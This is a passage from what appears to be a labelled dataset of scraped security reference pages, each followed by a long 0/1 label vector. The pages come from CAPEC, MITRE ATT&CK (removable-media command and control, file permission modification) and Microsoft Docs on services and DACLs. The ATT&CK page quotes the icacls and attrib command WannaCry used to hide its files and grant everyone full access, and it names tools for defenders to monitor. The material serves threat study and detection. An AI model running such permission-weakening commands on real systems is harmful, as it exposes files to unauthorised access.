Contact","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-551: Modify Existing Service (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-551: Modify Existing Service (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-551: Modify Existing Service Attack Pattern ID: 551 Abstraction: Detailed Status: Draft Presentation Filter: Basic Complete Description When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used. Relationships The table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore. Nature Type ID Name ChildOf Standard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern. 542 Targeted Malware Mitigations Limit privileges of user accounts so service changes can only be performed by authorized administrators. Also monitor any service changes that may occur inadvertently. Related Weaknesses A Related Weakness relationship associates a weakness with this attack pattern. Each association implies a weakness that must exist for a given attack to be successful. If multiple weaknesses are associated with the attack pattern, then any of the weaknesses (but not necessarily all) may be present for the attack to be successful. Each related weakness is identified by a CWE identifier. CWE-ID Weakness Name 284 Improper Access Control 522 Insufficiently Protected Credentials Taxonomy Mappings Relevant to the ATT&CK taxonomy mapping Entry ID Entry Name 1031 Modify Existing Service Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation Modifications Modification Date Modifier Organization 2019-04-04 CAPEC Content Team The MITRE Corporation Updated Related_Weaknesses More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Set up Recovery Actions to Take Place When a Service Fails | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Set up Recovery Actions to Take Place When a Service Fails 02/22/2013 2 minutes to read In this article Applies To: Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 If a service fails, you can use the Services snap-in to specify what action to take (for example, running a program or script) on the first or second service failure, or on subsequent failures. Membership in Account Operators , Domain Admins , Enterprise Admins , or equivalent, is the minimum required to complete this procedure. Review the details in ""Additional considerations"" in this topic. To set up recovery actions to take place when a service fails Click Start , in the Start Search box, type services.msc , and then press ENTER. In the details pane, right-click the service for which you want to set up recovery actions, and then click Properties . On the Recovery tab, click the action that you want in First failure , Second failure , and Subsequent failures , and then click OK . If you click Run a Program , under Run program , type the full path for the specified computer. Universal Naming Convention (UNC) names are not supported. For example, type C:\\scripts\\handlefailure.cmd , rather than \\\\computername\\c$\\scripts\\handlefailure.cmd . Programs or scripts that you specify should not require user input. If you click Restart the Computer , click Restart Computer Options to specify how long the computer waits before restarting. You can also create a message to send automatically to remote users before the computer restarts. Select Enable actions for stops with errors in order to trigger the recovery actions that the service stopped with an error. Additional considerations To perform this procedure, you must be a member of the Account Operators group, the Domain Admins group, the Enterprise Admins group, or you must have been delegated the appropriate authority. As a security best practice, consider using Run as to perform this procedure. Recovery actions are available only on computers running Windows\xc2 2000 or later. Additional references Services Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Communication Through Removable Media - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Communication Through Removable Media Communication Through Removable Media Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access. ID:\xc2 T1092 Tactic: Command And Control Platform:\xc2 Linux, macOS, Windows Data Sources:\xc2 File monitoring, Data loss prevention Version:\xc2 1.0 Mitigations Mitigation Description Disable or Remove Feature or Program Disable Autoruns if it is unnecessary. [1] Operating System Configuration Disallow or restrict removable media at an organizational policy level if they are not required for business operations. Examples Name Description APT28 APT28 uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted. [4] CHOPSTICK Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic. [2] [3] [4] USBStealer USBStealer drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim. [5] Detection Monitor file access on removable media. Detect processes that execute when removable media is mounted. References Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016. FireEye. (2015). APT28: A WINDOW INTO RUSSIA\xe2\x80\x99S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015. Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"File Permissions Modification - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise File Permissions Modification File Permissions Modification File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). [1] [2] [3] Adversaries may modify file permissions/attributes to evade intended DACLs. [4] [5] Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Logon Scripts, or tainting/hijacking other instrumental binary/configuration files. ID:\xc2 T1222 Tactic: Defense Evasion Platform:\xc2 Linux, Windows, macOS Permissions Required:\xc2 User, Administrator, SYSTEM, root Data Sources:\xc2 File monitoring, Process monitoring, Process command-line parameters, Windows event logs Defense Bypassed:\xc2 File system access controls Contributors:\xc2 Jan Miller, CrowdStrike Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description APT32 APT32's macOS backdoor changes the permission of the file it wants to execute to 755. [8] JPIN JPIN can use the command-line utility cacls.exe to change file permissions. [6] WannaCry WannaCry uses attrib +h and icacls . /grant Everyone:F /T /C /Q to make some of its files hidden and grant all users full access controls. [7] Detection Monitor and investigate attempts to modify DACLs and file ownership, such as use of icacls [9], takeown [10], attrib [11], and PowerShell Set-Acl [12] in Windows and chmod [13]/chown [14] in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Consider enabling file permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. [15] References Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018. Microsoft. (2018, May 30). File Security and Access Rights. Retrieved August 19, 2018. Tutorials Point. (n.d.). Unix / Linux - File Permission / Access Modes. Retrieved August 19, 2018. Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018. Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019. Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019. Plett, C. et al.. (2017, October 17). icacls. Retrieved August 19, 2018. Plett, C. et al.. (2017, October 15). takeown. Retrieved August 19, 2018. Plett, C. et al.. (2017, October 15). attrib. Retrieved August 19, 2018. Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018. MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page. Retrieved August 19, 2018. MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page. Retrieved August 19, 2018. Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"DACLs and ACEs - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents DACLs and ACEs 05/31/2018 2 minutes to read In this article If a Windows object does not have a discretionary access control list (DACL), the system allows everyone full access to it. If an object has a DACL, the system allows only the access that is explicitly allowed by the access control entries (ACEs) in the DACL. If there are no ACEs in the DACL, the system does not allow access to anyone. Similarly, if a DACL has ACEs that allow access to a limited set of users or groups, the system implicitly denies access to all trustees not included in the ACEs. In most cases, you can control access to an object by using access-allowed ACEs; you do not need to explicitly deny access to an object. The exception is when an ACE allows access to a group and you want to deny access to a member of the group. To do this, place an access-denied ACE for the user in the DACL ahead of the access-allowed ACE for the group. Note that the order of the ACEs is important because the system reads the ACEs in sequence until access is granted or denied. The user's access-denied ACE must appear first; otherwise, when the system reads the group's access allowed ACE, it will grant access to the restricted user. The following illustration shows a DACL that denies access to one user and grants access to two groups. The members of Group A get Read, Write, and Execute access rights by accumulating the rights allowed to Group A and rights allowed to Everyone. The exception is Andrew, who is denied access by the access-denied ACE in spite of being a member of the Everyone Group. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"File Security and Access Rights - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents File Security and Access Rights 05/31/2018 6 minutes to read In this article Because files are securable objects, access to them is regulated by the access-control model that governs access to all other securable objects in Windows. For a detailed explanation of this model, see Access Control. You can specify a security descriptor for a file or directory when you call the CreateFile, CreateDirectory, or CreateDirectoryEx function. If you specify NULL for the lpSecurityAttributes parameter, the file or directory gets a default security descriptor. The access control lists (ACL) in the default security descriptor for a file or directory are inherited from its parent directory. Note that a default security descriptor is assigned only when a file or directory is newly created, and not when it is renamed or moved. To retrieve the security descriptor of a file or directory object, call the GetNamedSecurityInfo or GetSecurityInfo function. To change the security descriptor of a file or directory object, call the SetNamedSecurityInfo or SetSecurityInfo function. The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights. The table in File Access Rights Constants lists the access rights that are specific to files and directories. Although the SYNCHRONIZE access right is defined within the standard access rights list as the right to specify a file handle in one of the wait functions, when using asynchronous file I/O operations you should wait on the event handle contained in a properly configured OVERLAPPED structure rather than using the file handle with the SYNCHRONIZE access right for synchronization. The following are the generic access rights for files and directories. Access right Description FILE_GENERIC_EXECUTE FILE_EXECUTE FILE_READ_ATTRIBUTES STANDARD_RIGHTS_EXECUTE SYNCHRONIZE FILE_GENERIC_READ FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA STANDARD_RIGHTS_READ SYNCHRONIZE FILE_GENERIC_WRITE FILE_APPEND_DATA FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA STANDARD_RIGHTS_WRITE SYNCHRONIZE \xc2 Windows compares the requested access rights and the information in the thread's access token with the information in the file or directory object's security descriptor. If the comparison does not prohibit all of the requested access rights from being granted, a handle to the object is returned to the thread and the access rights are granted. For more information about this process, see Interaction between Threads and Securable Objects. By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory. The FILE_TRAVERSE access right can be enforced by removing the BYPASS_TRAVERSE_CHECKING privilege from users. This is not recommended in the general case, as many programs do not correctly handle directory traversal errors. The primary use for the FILE_TRAVERSE access right on directories is to enable conformance to certain IEEE and ISO POSIX standards when interoperability with Unix systems is a requirement. The Windows security model provides a way for a child directory to inherit, or to be prevented from inheriting, one or more of the ACEs in the parent directory's security descriptor. Each ACE contains information that determines how it can be inherited, and whether it will have an effect on the 